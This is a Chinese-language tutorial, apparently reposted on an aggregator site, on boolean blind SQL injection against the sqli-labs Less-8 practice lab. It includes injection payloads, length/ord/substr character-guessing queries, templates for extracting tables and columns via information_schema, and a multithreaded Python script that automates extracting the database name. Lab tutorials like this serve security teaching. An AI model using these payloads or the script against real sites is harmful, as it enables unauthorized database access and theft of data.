【SQL注入-布尔盲注】

这篇具有很好参考价值的文章主要介绍了【SQL注入-布尔盲注】。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

布尔盲注使用场景

布尔型盲注应用于无数据回显,且WEB页面无报错信息的情况,此时不能通过报错型注入的方法来爆出数据,布尔型盲注的WEB页面只有两种回显结果,正确的页面以及错误的页面,且错误的页面无报错提示语句,正确的页面不能输出数据。

案例演示

演示环境

phpStudy + mysql + sqlilabs

源码分析

sqlilabs Less-8 源码分析
sql注入布尔盲注,web安全
从源码中可以看出来数据库查询的数据并没有返回到前端页面中,若果数据查询正确页面返回“You are in …”,查询错误无显示,那么我们可以儿通过页面显示正确或者错误来猜解数据库信息。

实际测试

?id=1’ --+ 正常显示
?id=1" --+ 正常显示
?id=1’and 1=1 --+ 正常显示
?id=1’ and 1=2 --+ 显示错误

  1. and 1=1时页面正常回显,and 1=2时页面显示错误,说明我们构造的and 条件插入到了后端的SQL语句,存在注入点。
  2. 采用报错注入,看能不能爆出来
    payload:?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1 ) --+
    sql注入布尔盲注,web安全
    页面没有爆出数据信息。

使用布尔盲注猜解数据。

布尔盲注使用到的函数:

1.substr()函数
substr(string,start,length)函数是截取字符串的函数。
参数string :被截取的字符串
参数start :截取的起始位置(起始位为1)
参数length :从截取位置截取的长度
在盲注时,一般只截取一位,如substr(user(),1,1),这样可以从user函数返回数据第一位开始的偏移位置截取一位,之后我们只要修改位置参数即可获取其他数据。
例:使用substr截取“qwertyui”中前5位字符
sql注入布尔盲注,web安全
2.ord()函数

ord(character)函数是返回一个字符的ASCII码。
参数character:为单个字符,如果是字符串的话,则只按照字符串的第一个字符计算。
把数据转换成ASCII码可以避免在payload中出现引号,还可以使用二分法方便更快的找到数据正确数据。
例:使用ord函数查询“c”的ASCII码

sql注入布尔盲注,web安全
3.length()函数
length(string)函数是否返回一个字符串的长度。
参数string :为需要输出其长度的字符串。
例:使用length函数判断“qwertyui”长度
sql注入布尔盲注,web安全

开始

1.使用length()猜解数据库名长度。
payload:http://127.0.0.1/sqlilabs/Less-8/?id=1' and length(database())=8--+
sql注入布尔盲注,web安全

sql注入布尔盲注,web安全
长度为5页面返回错误,长度为8页面返回正确,说明数据库名长度为8。

可以通过information_schema表来查询其他数据库名的长度的:
http://127.0.0.1/sqlilabs/Less-8/?id=1 and length((select schema_name from information_schema.schemata limit 0,1))=5 --+
MySQL数据库中版本大于5.0的才有information_schema这个数据库,用于存储所有数据库名,所有数据库表名以及列名的数据库。
infomation_schema数据下的schemata表存储了所有数据库名,tables表存储了所有的表名,columns表存储了所有的字段名。

2.猜解数据库名
知道数据库长度就好猜解出数据库名了
payload:http://127.0.0.1/sqlilabs/Less-8/?id=1’ and ord(substr(database(),1,1))=115 --+
之后通过更改数字来进行猜解。
sql注入布尔盲注,web安全
到115返回正确,说明数据库名第一个字符是ASCII 115,对照ASCII 115是“s”.
还可以使用二分法快速找到数据库名
例:and ord(substr(database(),1,1)) > 90 如果返回正确,就从90-118中见去找。and ord(substr(database(),1,1)) > 104 如果返回正确 就从104-118中间去找 …
这样能更快的找到对应的字符。
猜解数据库第二个字符只需要修改substr函数的第二个参数
and ord(substr(database(),2,1)) > 90

3.Python实现猜解数据库名
sql注入布尔盲注,web安全
数据库名已经猜解出来了,只用了14秒,在遇到一些重复的性的事情时可以交给脚本去跑,这样可以节约大量时间。
这个脚本没有使用多线程运行,在大量IO使用多线程可以提升效率,下面代码加了多线程运行只需2-3秒
sql注入布尔盲注,web安全

import requests
from threading import Thread
import time

def get_dbname(db_len):
    global database_name
    db_name = ""
    for num in range(0,255):
        # 构造payload,发起请求。
        payload = "http://127.0.0.1/sqlilabs/Less-8/?id=1' and ord(substr(database(),%d,1))=%d" % (db_len+1,num)
        res = requests.get(url=payload+"%23").text
        # 跟据正确页面返回内容判断是否返回正确页面
        if "You are in" in res:
            # 返回正确记录正确值并转换成字符
            db_name += chr(num)
            # 把正确的值插入到列表中,因为是多线程,所以需要根据线程号来对应列表下标
            database_name[db_len] = db_name
            break
    #print(db_name)

# 用来存储返正确数据
database_name= ["","","","","","","",""]
# 用来存储线程
thread_list = []

def main(de_len):
    start = time.clock()
    for i in range(de_len):
        # 根据数据库长度生成对应的线程。并存储到列表中
            t = Thread(target=get_dbname,args=(i,))
            thread_list.append(t)
            t.start()

    for s in range(len(thread_list)):
        thread_list[s].join()
    print(database_name)
    end = time.clock()
    times = end - start
    print("程序运行时间为:%d s"%times)

if __name__ == "__main__":
    main(8)

4.猜解表名、字段、数据
数据库名猜解出来了表名、字段、数据就很简单了,依葫芦画瓢就行。
这时候我们可以在写一段脚本代码,让代码来替我们猜解或者使用SQLMAP来帮我们完成。
表名payload:
?id=1 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=‘库名’),1,1))=110"
字段名payload:
?id=1 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema=‘库名’ and table_name=‘表名’),1,1))=110"
数据payload:
?id=1 and ord(substr((select group_concat(字段名) from 库名.表名),1,1))=110文章来源地址https://www.toymoban.com/news/detail-737367.html

到了这里,关于【SQL注入-布尔盲注】的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 安全中级11:sql注入+联合、报错、时间盲注+sqlmap使用

    目录 一、sql注入原理  二、联合SQL注入的方法 1.总体的思路 (1)先进行闭合,进行报错 (2)进行逃逸 (3)外带数据 (4)获取库名 表名 列名 数据 (5)获取当前数据库中的数据 2.SQL注入测试 (1)先进行单双引号闭合,让页面出现页面报错 (2)然后看有几列,有两种方

    2024年02月13日
    浏览(24)
  • DVWA——SQL注入+盲注

    目的:执行特定sql语句,获得其他相关内容。 攻击方式:动态构造SQL语句 影响:数据库的脱裤、修改、甚至影响到操作系统。 漏洞原理:直接使用原始sql语句,没有代码审查 漏洞利用: 步骤1:判断是否存在注入漏洞: 步骤2:判断当前表字段个数?:通过order by 排序字段

    2024年02月07日
    浏览(29)
  • SQL注入实战:盲注

    1、当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息,这些信息能帮助进行SQL注入,但更多时候,数据库没有输出数据web页面,这是攻击者会查询一系列的true或false问题,或者基于时间判断的问题,强制从数据库获取数据

    2024年01月24日
    浏览(35)
  • SQL注入-时间盲注

    当测试一个注入点时,我们使用多种方式测试,页面都显示正常,这就很难判断改点是否存在注入,可能会造成误断,这时候我们可以采用时间盲注的方法,来判断是否存在注入点以及猜解数据库信息。 时间盲注就是通过if 语句构造判断条件,是sleep函数来让数据库延迟查询

    2024年02月12日
    浏览(31)
  • DVWA之sql注入——盲注

    1.1 布尔盲注 布尔很明显的Ture跟Fales,也就说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错 信息。 1.判断是否存在注入,注入的类型 不管输入框输入为何内容,页面上只会返回以下2种情形的提示: 满足查询条件则返回\\\"User ID exists in the database.\\\",不满足查询

    2024年02月05日
    浏览(36)
  • SQL注入原理-时间盲注

            小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注。 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数  length()函数  实战演示 1、判断是否存在注入点 2、使用时间盲注爆出数据 1、爆出当前数据库名的长度 2、爆出数据库名长度 3、爆

    2023年04月10日
    浏览(34)
  • DVWA 之 SQL注入(非盲注)

    步骤: 1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据 输入1,查询成功: 输入1’and ‘1’ =’2,查询失败,返回结果为空: 输入1’or ‘1 ’=’1,查询

    2024年02月04日
    浏览(32)
  • 延时盲注技术:SQL 注入漏洞检测入门指南

    部分数据来源: ChatGPT  环境准备 引言         在网络安全领域中,SQL 注入漏洞一直是常见的安全隐患之一。它可以利用应用程序对用户输入的不恰当处理,导致攻击者能够执行恶意的 SQL 查询语句,进而获取、修改或删除数据库中的数据。为了帮助初学者更好地理解和

    2024年02月10日
    浏览(31)
  • 【WEB安全】SQL注入挖掘

    2021年OWASP发布漏洞威胁榜单,SQL注入从第一名下降到第三(https://owasp.org/Top10/),SQL注入是一种常见的Web攻击技术,通过构造恶意的SQL语句来破坏数据库安全。攻击者可以通过提交带有恶意代码的输入,例如网页表单,来控制数据库执行恶意语句。这样,攻击者可以访问敏感

    2024年02月13日
    浏览(29)
  • Web安全-初识SQL注入(一)

    将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。 注入能导致数据丢失、 破坏或泄露给无授权方,缺乏可审计性

    2024年02月05日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包